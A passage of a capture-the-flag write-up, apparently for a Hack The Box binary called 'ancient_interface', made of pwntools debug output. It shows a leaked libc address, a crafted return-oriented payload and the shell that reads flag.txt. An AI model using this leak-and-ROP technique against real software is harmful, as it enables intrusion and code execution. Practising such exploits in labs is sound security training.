00000020 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000030 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000040 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000050 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000060 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000070 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000080 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000090 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000000a0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
000000b0 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
000000c0 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
000000d0 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
000000e0 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
000000f0 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000100 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000110 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000120 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000130 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000140 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000150 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000160 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000170 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000180 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000190 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000001a0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
000001b0 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
000001c0 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000001d0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
000001e0 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000001f0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000200 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000210 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000220 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000230 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000240 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000250 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000260 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000270 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000280 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000290 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000002a0 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
000002b0 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
000002c0 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000002d0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
000002e0 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000002f0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000300 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000310 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000320 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000330 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000340 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000350 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000360 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000370 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000380 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000390 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
000003a0 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
000003b0 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
000003c0 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000003d0 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
000003e0 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000003f0
[DEBUG] Received 0x7 bytes:
00000000 90 ac 61 fc 23 7f 0a │··a·│#··│
00000007
[*] Leaked printf() address: 0x7f23fc61ac90
[+] Glibc base address: 0x7f23fc5b9000
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
...
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x9 bytes:
b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 43 1d 40 00 00 00 00 00 │AAAA│AAAA│C·@·│····│
00000010 bd d5 76 fc 23 7f 00 00 1a 10 40 00 00 00 00 00 │··v·│#···│··@·│····│
00000020 90 b2 60 fc 23 7f 00 00 41 41 41 41 41 41 41 41 │··`·│#···│AAAA│AAAA│
00000030 41 41 41 41 41 41 41 41 0a │AAAA│AAAA│·│
00000039
[*] Switching to interactive mode
[DEBUG] Received 0x3fb bytes:
00000000 75 73 65 72 40 68 6f 73 74 24 20 41 6c 61 72 6d │user│@hos│t$ A│larm│
00000010 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000020 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000030 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000040 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000050 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000060 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000070 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000080 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000090 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000000a0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
000000b0 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000000c0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
000000d0 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
000000e0 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
000000f0 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000100 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000110 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000120 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000130 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000140 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000150 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000160 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000170 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000180 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000190 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000001a0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
000001b0 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000001c0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
000001d0 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
000001e0 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000001f0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000200 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000210 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000220 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000230 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000240 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000250 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000260 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000270 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000280 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000290 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000002a0 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
000002b0 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000002c0 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
000002d0 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
000002e0 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000002f0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000300 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000310 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000320 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000330 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000340 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000350 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000360 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000370 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000380 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000390 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
000003a0 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
000003b0 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
000003c0 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
000003d0 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
000003e0 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000003f0 62 65 65 6e 20 68 69 74 21 0a 00 │been│ hit│!··│
000003fb
user@host$ Alarm has been hit!
\x00larm has been hit!
\x00larm has been hit!
...
\x00larm has been hit!
\x00larm has been hit!
\x00$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x2f bytes:
b'ancient_interface\n'
b'ancient_interface.c\n'
b'flag.txt\n'
ancient_interface
ancient_interface.c
flag.txt
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
b'cat flag.txt\n'
[DEBUG] Received 0x2d bytes:
b'HTB{sh0u1d_h4v3-CH3ck3d_r34D-R3tUrn_v4l_:^)}\n'
HTB{sh0u1d_h4v3-CH3ck3d_r34D-R3tUrn_v4l_:^)}
The full exploit code is here: solve.py
.